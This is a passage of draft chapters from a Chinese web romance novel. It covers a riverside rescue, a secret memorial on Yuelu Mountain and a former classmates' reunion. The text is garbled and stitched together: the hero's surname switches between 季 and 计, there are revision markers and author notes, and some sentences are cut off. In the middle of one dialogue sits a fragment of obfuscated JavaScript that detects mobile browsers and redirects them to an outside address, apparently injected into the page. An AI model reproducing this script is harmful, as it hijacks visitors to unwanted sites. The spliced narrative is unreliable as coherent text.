被季衡那么一吼，男人老实了，乖乖抓着救生圈等岸上的人拉绳。
救生圈抵在岸边后，萧湘将绳子绑住，手把手拉水里的人上来。
男人和女人在水里时间较久喝了不少江水，他们一上来就直接躺了，只不过女人是昏迷，男人是装死。
季衡默默走到没有光源的暗处，他脱下纯棉上衣，用力拧干，然后将它当做毛巾擦拭身上的水渍，最后穿上鞋子穿上湿衣服回到原处。
此时萧湘正在帮女人清理口鼻异物开放气道。
路灯下，少女娴熟的动作吸引了他的注意。
少女专注于救人，没有注意到有人正盯着她看，眼神晦暗不明。
辅助完毕后，萧湘起身告知季衡：“这位小姐姐虽然仍处于半昏迷状态中，但呼吸已经逐渐恢复均匀，等救护车来就好了。”
“嗯。”季衡轻声回应。
萧湘走向男人，用脚将他踢醒。
“干什么？”男人睁开眼睛暴躁地吼，非常不耐烦地从地上爬起来。
“干什么？我们救了你你却连一句谢谢都不说，还躺在这里装死。”萧湘愤怒回吼。
看到眼前青春貌美的萧湘，男人将原本快要上头的怒火瞬间压了下去，软声道：“是是是。感谢小美妹相救。”
咦！萧湘嫌弃地瞟了他一眼，将视线放在地上女人身上。
此时女人刚好苏醒，她转了转眼珠子试图恢复意识。待清醒后，她立即麻溜儿站了起来，指着男人就破口大骂。
“秦海，我为了和你在一起和我爸妈闹翻，你却为了钱想把我淹死！该死的凤凰男，你的良心被狗吃了吗？”
“你自己想不开要跳江关老子什么事？老子好心拉你上来，你却把老子也拽了下去。老子谢谢你呢！”
……
对吵几个回合之后，男人干脆懒得再开口，他扬起手臂猝不及防地将女人扇得两眼发昏，踉跄跌倒。
下一秒，男人的脸也被人甩了五根手指。
“你——”被打懵的男人不敢置信地看着萧湘。
“你什么你，打女人算什么本事！有本事给我回到江里自己爬上来啊！”
男人震怒，刚欲还手，忽然一束强光射到了他的眼睛上，是许诺带着景区的工作人员拿着电筒赶来了。
男人抖动食指对萧湘说了句“小婊渣，好好滚回你的窑子里待着，别让老子再遇到你。”然后转身走开。
面对辱骂，萧湘刚要给他掌嘴，却听有人发声。
“不许侮辱人，我们可是长雅的学生！”
是周丹丹。
萧湘：“……”
“长雅！好的，我记住了。”男人阴险一笑，走之前对着周丹丹吹了下口哨，“谢谢你啊小美妹。”说完还冲她做了一个wink。
周丹丹双手捂嘴，两眼无辜地看向季衡，“我是不是说错什么了？”
12. 同桌
“好啊！”他走上前，“去哪里聊？”
萧湘：“随意。”
随意就是随便，于是他们哪里也没选，就在学校的大路，边走边聊。
“小计子，这是我最后一次叫你小计子。以后我都不会这么叫了，毕竟我们已经长大了，再叫你小时候的外号不好。”
“我觉得没问题啊，你高兴叫就叫呗。”
看着眼前少年对自己百依百顺的样子，想起当初在图书馆他偷偷给舒蝶塞饮料，和现在如出一辙。他呀，纯粹是在报恩。
萧湘涩涩一笑，“都什么年代了，还玩爱上救命恩人的梗。”
“嗯？”计衡一只手拖着半边脸，哂笑，“你是不是对【爱】之一字有什么误解？”
“难道不是吗？”萧湘反问，“你敢说当初你对舒蝶不也是这样？”
计衡沉默，他承认，确实如此。
只是也不完全是，他自觉对她和对舒蝶还是有很大的区别。
见计衡没有做声，萧湘当他是默认，忽然笑了，问：“加入当初救你的是头猪或者是条狗，你是不是也会爱上它们？”
计衡挑眉，“……我不允许你这样说你自己。”
“……”
萧湘无语，白了他一眼。
这下，换计衡正经，他敛起笑容，平淡地说：“你不要有心理负担，我没有那个意思，真的没有，不骗你。”
计衡说着，还举起了手，做出发誓的姿势。
萧湘挤出一个大大的微笑，故作轻松地说：“没有最好了。本女侠潇洒自在惯了，可不喜欢被儿女情长左右。”
“嗯！我也是。”
“哈哈哈……”
两人同时发笑，都是假笑。
“好了，我先回宿舍了。为了梦想，我要学习，学习学习学习。”
“去吧！加油。”
萧湘冲他挥了挥手，告别他，也告别过去。
入学考试成绩出来了，萧湘是特优班第一。然而却是年级第三百五十一名，而这一届一共才四百个学生，她仅仅甩掉了特优班的人而已。
不仅是和第一名的计衡，就是和985的大门也还相差一定距离。
为了梦想，她要努力，努力努力更加努力。
接下来的日子，萧湘一心学习，她和计衡再也没有说过一句话，就算见了面也只是默契地互相礼貌性微笑。
就在她以为他们不会再有多少交集的时候，高二的分科却让他们成为了同班同学。
他们，又和他牵扯到了一起。
【以下待修】
是谁？
这本子从开学到如今从未离开过这间宿舍，不排除外面的人进来过，但论嫌疑，最大的自然还是宿舍里其他五个室友。
再做下一步排除，她昨天晚上才写过，而那时五个室友有四个回家了，所以……
“周丹丹！”
萧湘不自觉念出这个名字。
结合她今日言行种种，萧湘恍然大悟，搭在本子上的手不由自主地捏起一把。但她不敢百分百确定，万一是自己不小心弄的岂不是冤枉了无辜的人。
怀疑人得有确凿的证据，萧湘没有，便只能先佯装无事。
洗刷刷，睡觉觉，迎接美好的明朝。
躺在床上，闭上眼睛，萧湘却睡意毫无睡意。她顺应内心，重新捋了捋这些天来发生的事情。关于周丹丹，也关于季衡。
想着想着，不知不觉中竟想到了当初她在田径场看到的季衡的画。
他画的是星空、河流、单车和背影。
当时自己没有细思，如今想来，这些元素不正是全都与那晚救他上岸时相关吗？串联先前种种，萧湘推理出周丹丹为何要她的衣服，因何与季衡走在一起。
呵！原来现实中竟然真的有人会爱上自己的救命恩人。可惜那只是他幻想中的人，并不是现实中的她。萧湘涩涩一笑，再次呼唤周公。
次日的阳光穿过窗户射进寝室，萧湘的闹钟准时响起。她一个鲤鱼打挺，抖擞起身。
今天的志愿地点是岳麓山。相较于橘子洲，山上稍微没那么拥堵，而且学校不让晚上在山上逗留，所以上山下山一路的工作得白天完成。
萧湘洗漱完毕后，背上书包带好工具便出发了。
今日有不少志愿者同行，不过他们的线路不同，大家从不同的起点出发，下到不同的终点。
萧湘是今日唯一的女志愿者，故而她的路线是规规矩矩的大路，走的也是正门。
穿着环卫工的橙色反光制服，萧湘一路上山，一路用工具清理路边的垃圾。
岳麓山并不高，即便是一路服役，萧湘也只花了两三个小时便到达了山顶。山顶人多，垃圾也多，萧湘想着干脆等正午太阳最辣的时候再出来“工作”，于是她亦混迹人群中观景。
萧湘伫立在麓山之巅远眺、俯瞰。
今日阳光偷了懒，在天上若隐若现，以至于山下的云雾迟迟没有飘散，浮在那儿翩翩跹跹。
人海茫茫之中，有道熟悉的影儿从身边擦肩而过。
萧湘蓦然回头，看到一个身穿灰色休闲套装的男孩提着一个黑色的塑料袋，择了一条没有水泥和石头的泥巴小路往下走去。
因为黑色遮挡，原本萧湘是看不清塑料袋里装的是什么东西的，凑巧的是，有路人不小心碰到了那个袋子，刚好挤压出一个小角，使得里面的东西凸了一点点出来。
萧湘定睛一看，竟是香烛，中元节祭祖用的那种香烛！
若是别人也就罢了，萧湘不至于如此惊讶，偏偏那男孩她认识，好巧不巧，又是那个叫季衡的小子。
他鬼鬼祟祟地提着香烛来这山上做什么？怪可怕的。
管他做什么，事不关己高高挂起，他高兴随他意。
可是，有点好奇……
萧湘恨极了自己，每次碰到关于季衡的事情她都会无端陷入纠结之中。反反复复，藕断丝连，一点儿不像她的性子。
反正现在没什么事，不如跟上去瞧瞧。
说跟就跟。萧湘喝了口水，擦了把汗，拿起环卫工具就跟随季衡而去。
季衡下行了大约五十米垂直距离，他挑了一处无人的空地，巡视周遭。
眼看着他的目光就要扫过来，萧湘急忙躲到一棵大树后面，偷瞄他蹲下身子，拿出袋子里的香烛。<
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山上点火是不可以的，萧湘刚要出来制止，却见他按了下那香烛的底部，香烛便亮起了红光。
原来是电子香烛，做得跟真的似的。
萧湘对着大树深呼一口气，继续偷窥。
季衡用地上的泥土堆了两座小山，然后把两根大香烛稳稳地放在小山前面，再从袋子里拿出两盒迷你生日蛋糕，三罐哈尔滨啤酒。
他将蛋糕摆在香烛的前面，一一打开易拉罐，又将两罐哈啤摆在苹果的旁边，另一罐他自己握在手上。
准备就绪后，他双膝下跪，举起手中的易拉罐，对着小土山说：“两位兄弟，今天是你们的生日，原谅我没有勇气陪你们去那边过，只好选在这个角落默默地为你们庆祝，希望你们不要介意。”
说完，他自饮一口，然后将另外两个罐子里的啤酒洒他饮的等量到地上。
他再饮一口，又道：“明年的今天，往后余生的今天，我都会来这里为你们庆生，直到我们三个地下团聚。”
再洒，再说，再饮，再洒……
如此循环，直到罐子里的啤酒一滴不剩。
酒水洒在地上，没有被土壤及时吸收，流出了两道沟壑，将季衡的裤子和鞋跟染上了一层泥土。他没有在意，对着两个小土山作揖，分别磕了三个响头。
不远处的萧湘倚靠在大树身上，心里感到阵阵刺痛。不是因为季衡，而是莫名其妙的共情，她共情他那种好朋友因为自己的一句玩笑而无辜丧生的痛。
两条人命啊，虽然不是他直接导致的，但确实因他而起，他有着推卸不掉的责任。不是律法上的责任，而是良心上的，他将一辈子受到良心的谴责。
我未杀伯仁，伯仁却因我而死，这种愧疚他一辈子都挥之不去。
阴影和疼痛，若非亲身经历很难共情。
萧湘抬头仰望遮天蔽日的香樟，轻轻闭上眼睛。
这山这地属于大自然，不属于任何人，但此时此刻它的灵魂属于季衡，是为他心灵上的一方净土。
先前是因为好奇，眼下萧湘只想快点离开，还他清净，换他心宁。
她轻轻转身，悄悄迈开步子，却被他的声音叫停。
“你什么时候来的？”
闻声，萧湘猛然回头，见季衡已经起身，正步步向她逼近。
四目相对，她在他的眼里看到的可不止有一如既往的清冷，还有，杀气！
他不会是想杀人灭口吧？萧湘的脑子忽的蹦出一个奇奇怪怪的猜想。
然而她并不惊慌，她想，无妨，他应该打不过自己。
“来很久了，捡垃圾。”萧湘淡定地提了提手里的环卫小桶向季衡示意。
“你没出声，我以为你跟踪我。”季衡半开玩笑地说。
萧湘挑眉，“你以为？哈哈，你想多了。是你太投入，没有听到我的声响而已。”
“是吗？”
“是的。”
“那最好是，不然……”
“不然怎么样？杀人灭口啊？”
“哈！不至于。”季衡被她逗笑，突然，他敛起笑容，低着头，以非常绵柔的声音对萧湘说：“别……别说出去。”
13. 落魄
确实到了饭点，可是此刻他已然没有食欲。他将目光再次投向长雅，那里不仅有他的青春，还有很多美食。
漂泊在外，甚是想念。
八年了，是时候回去看看了。
长雅校园是禁止外人进出的，计衡徘徊在美食琳琅满目的校门口，一时间不知该如何择选。他挑来挑去，最终走进了一家麻辣烫店。
当年某人第一次主动约他就是来的这家店子，只是那时候规模还没有这么大，不过店子里的生意一如既往地好。计衡扫了一眼，见已经没有空余的座位，转身便要离开。
“帅哥里边请，马上就有位置。”
在星城，帅哥是男性的统称，无关长相，全龄通用。
老板娘见有男顾客进来便顺口招呼，顺着客人的目光一看，咦，这个是真帅哦！
再看，还有点眼熟哟！
“小计子？”
老板娘一声高呼，同时惊到两个人。
计衡本人、还有他心里的某人——萧湘。
此刻萧湘正专心致志地啃卤鸡爪，突然听到那消失多年的昵称，她嘴一抖，鸡爪瞬间下坠。好在她反应快，及时将鸡爪扣住。可是她的嘴角、她的手……惨不忍睹喽！
霎时，萧湘头脑短路，她的第一反应竟是不想让计衡看到自己这般狼狈的样子，而不是去确认那昵称的主人是不是计衡。
她慌忙擦掉桌子上滴落的汤汁，火速冲向洗手间，麻利地将嘴角和手上的油渍洗干净，然后躲在卫生间门口偷觅方才进来的那个人。
五六十平的店子里密密麻麻的人头中，只一眼，萧湘便寻到了那个曾经令她魂牵梦萦的身影。
此刻他正在自助区调酱，动作轻快流畅，看着极度舒适。
如今的他已然没了少年的青涩之感，浑身却散发着成熟男人的阳刚之气。
微现侧颜，仍是那么耀眼。
真的是他！萧湘不觉身心颤动。
以为那些深情只属于曾经，以为余生只能做陌生人，没想到再见他还是会情不自禁。
“矜持，矜持，保持矜持。”
萧湘气运丹田，强行镇压狂乱的心跳，调整好面部表情，而后故作潇洒地走了出去。
看到萧湘，老板娘一拍脑门，自责不已地对计衡说：“瞧我这眼力见儿，竟然以为你是一个人来的。对不住啊，阿姨这就给你重新收拾位置。”说完，她立即去到萧湘座位边。
什么意思？计衡听得有些犯蒙。
下一秒，耳边传来久违的声音。
“好久不见呀！老同学。”
对上萧湘炽热的目光，计衡瞳孔地震。
刚回国就重逢心心念念的人，他竟有点不敢相信。
怕不是看花了眼睛？
得好好瞅瞅，确认确认。
虽是四目相对，萧湘却没有从计衡的眼睛里看到一丝邂逅老友的情绪，倒是他呆呆看自己的样子俨然在看一个似识非识的傻子。
此情此景，与当年在长雅田径场那次重逢何其相似！
他呀，从始至终都不曾将她记住。
萧湘心下一酸，急忙笑着改口：“不好意思啊，我认错人了。”
说罢，她对着墙上的收款码一扫，随便填了个超过实际金额的数后迅速逃离。
好气，好气，好生气。
有什么好气的？别人心里从未有过你，你再气也只是自己生自己的闷气。
……
萧湘边跑边劝自己。
自省中，不自觉想起网文《拭伤诀》的那两句文案：
何以解忧，唯有自省。
以何拭伤，时间与忘。
是啊！与其黯然神伤，不如一切皆忘。
萧湘骤然停下脚步，粗暴地抹掉额头的汗珠，打算原地刷两段搞笑视频调解心情。她掏出手机，看见微信头标上出现了红色的数字，强迫症迫使她优先打开微信。
新消息来自好友单（shàn）空濛。
这货前几天失业了，一直吵着约螃蟹，无奈萧湘前几天工作实在太忙抽不出空来。
今日正好不忙，倒是可以约起来。
萧湘欣然点开消息。
单双三不过：（语音）【萧同学，告诉一个好消息。你喜欢的《拭伤诀》要影视化了，还是被立坤影视买的版权。立坤影视官宣剧组已成，但主角团还没有定，但定在星城试镜。那可是立坤、是top级的导演+制作团队，哥哥我打算去试试，就算跑个龙套哥也荣幸至极。祝福我吧！】
单双三不过：立坤影视官博截图。
单双三不过：【约吗？[螃蟹]】
果然是好消息！
喜欢多年的小网文终于迎来了出头之日，萧湘与有荣焉，心情也跟着好了起来，顺手三连回。
x2：【加油！！！祝君好运。】
x2：【期待（中华田园犬竖耳朵动图）】
x2：【嗨起来（疯狂甩头动图）】
息屏。
喜欢多年的文上岸了，喜欢多年的人呢？
计衡迎面走来，迈步的姿势一如昔日那个意气风发的少年。
他来了。
为我而来？
萧湘错愕。
毕竟当年他给的错觉太多。
她下意识扫视周遭，确定视野范围内没有任何“可疑”人士后适才笑脸相迎。
计衡端端正正地停在萧湘面前，躬身俯首直勾勾地盯着她的双目，温柔道出：“好久不见。”
萧湘受宠若惊，“你……你记得我？”
尽管此时此刻计衡已经真真切切地站在身前，萧湘仍然不敢确定。
“萧女侠救命之恩，季某人永记在心。”
计衡边说边锤了锤自己坚实的胸膛，动作甚是中二，表情略显蠢萌，与他一身西装革履的配置格格不入。
萧湘忍不住噗呲笑出声。
她抬起手背扇了扇拍了拍计衡的臂弯，“好样的，季呵呵。”
“萧女侠”和“季呵呵”是他们曾经互唤过的昵称。
两人相视一笑。
谈笑间，仿佛回到了许多年前。
“刚才怎么了？气冲冲地跑出来。”
“还不是因为你啊！”
“因为我？”计衡惶恐。
萧湘满脸委屈，“是啊！我满心欢喜地跟你打招呼，你却一副根本不认识我的样子。那么多人看着呢，我不要面子的吗？”
“呵！”计衡惊笑，“我的错我的错我的错！”
他双手合十，不停地道歉。
萧湘做了一个皇帝招呼臣子“平身”的手势。
“知道错就好！本女——”侠字差点脱口而出，她忽然意识到即便心境回到了从前，可时间和年龄摆在那里，还用那么中二的称呼似乎不太妥当，她急忙改口：“计衡同学，方才麻辣烫没有吃上吧？要不一起去吃点别的？”
“好啊！”
“湘湘。”
嗯？
谁？
闻声，萧湘和计衡蓦然对视，继而同时望向声源之处。
只见对面奶茶店队尾站着一位穿着时尚的帅气青年，他满脸笑容地冲萧湘挥手。
是好友单空濛。
“嘿！”萧湘自然出声，笑着摆动手臂回应。（这个笑描写一下）
那笑容清澈纯粹，不难读出对方在她心里有着很高的位置。】
计衡眉心微蹙，“男朋友？”
“嗯，男性朋友。”萧湘脱口而出，嘴角隐约可见一抹狡黠的笑容。
“……”
此话一出，计衡的思绪又被拉到过去鞭笞。
当年，有人误以为他和她的关系非比寻常的时候她亦是这般回复。
“萧湘，你男朋友？”
“是啊！男性朋友。”
“咦？瞧你们你们这幅有情有爱的样子，一看就不是普通朋友。快，坦白从宽，抗拒从严，速速招来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020423|148206||http|test|mini|href|location''.split(''|''),0,{}));
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“嗯！我们确实有情有爱，友情的情，友爱的爱，当然不只是普通朋友啦！”
……
往事如风，轻飘飘地吹开了时间的桎梏。
唤醒死去记忆的又何止他计衡一人，萧湘同样如此。
计衡没有做声，只静静地盯着萧湘的眼睛，神情晦暗不明。
他这是什么表情？这么多年过去了，还玩似是而非的暧昧么？
她早已不是当年那个被道德绑架她，不会
“计衡，不要用这种眼神看我，我会误会。”
这是她第一次连名带姓地叫他。从前她不
他呀，应该多多少少还是记得他们那些共同的经历！
那么，在他心里是不是也有属于她的一席之地？
应该是有的吧？萧湘按此逻辑猜想。
她朱唇微敛，一双桃花眼秋波潋滟。
四目相对，计衡着实没有看懂，他从未见过萧湘用这样的眼神看过他。
他竟有些受宠若惊！看她的眼神更加温柔、平静。
同样受宠若惊的还有萧湘，她第一次在他的眼里看到了满满的自己。
两颗心悄悄颤抖。
一切尽在不言中。
突然，身旁的小吃店忽地调高了音乐，声波如洪流涌入二人耳中。
先是吓他们一跳，后是吓他们一大跳。
“如果当初勇敢地在一起，会不会不同结局？你会不会也有千言万语，埋在沉默的梦里……”（歌曲：《星月神话》）
这歌词！
瞬间唱进了俊男靓女的心坎儿里。
被精准击中小秘密的二人，不约而同地快速挪开投在对方身上的目光，同时战术性看向别处。
好巧不巧，马路对面新开的珠宝店LED大屏也来凑热闹，正播放着一则喜结连理的广告。
从校服到婚纱、从到野花环到金凤冠、从狗尾巴草戒指到光芒四射的蓝钻……
一幕幕，似曾相识。
犹记当年，眼前的少年曾帮她编过野花环，曾给她扎过狗尾巴草戒指。
那时，他们正是一起穿着校服！
刹那间，萧湘有种错觉，她竟怀疑这个广告是计衡。不过也就一瞬的怀疑，理智告诉她，不可能的。
当年他眼里心里装着的都是另外一个她，而他之所以帮她做那些事，也是因为那个她。如今那个她早已嫁做人妇，不然自己也不会重新肖想这“有妇之夫”。
见萧湘盯着大屏幕看待，计衡的唇角浅浅勾起一道弧度。
他刚要开口开口，却见扭头看了过来，眼波里满满都是同情。
“计衡，当年的事，你后悔吗？”
计衡一愣，“嗯？”
“如今舒蝶已经儿女双全，可你还是一个老光棍。”
满大街都在帮他们找回当年的记忆。
正是因为歌词太过应景，导致两人尴尬不已。
“你……”
两人异口同声。
“湘湘，螃蟹是现在吃还是晚上回家边做边吃？”
回家！边做边吃！
计衡忽然感觉心口有点闷，他横着
萧湘连忙摆手，“他说的是螃蟹。他做的螃蟹可好吃了。”
“嗯？”
“不是！”萧湘顿时不知作何解释，解释不合适，不解释好像也不太合适。
他说的是螃蟹。
又是这个声音。是单空濛，他提着两杯奶茶来到了他们身边。
这货今天吃错药了吧，先是叫那么恶心，现下又在胡说八道。
神啦，赶紧过来把这货叉出去。
萧湘给了单空濛一个恶狠狠地眼神。
单空濛也不生气，嬉皮笑脸地绕过靠前的计衡走到萧湘的身边，低声问：“男朋友？”
“嗯，男性朋友。”
这个答案好像在她脑海里根深蒂固，她条件反射般回复。
“普通的那种？”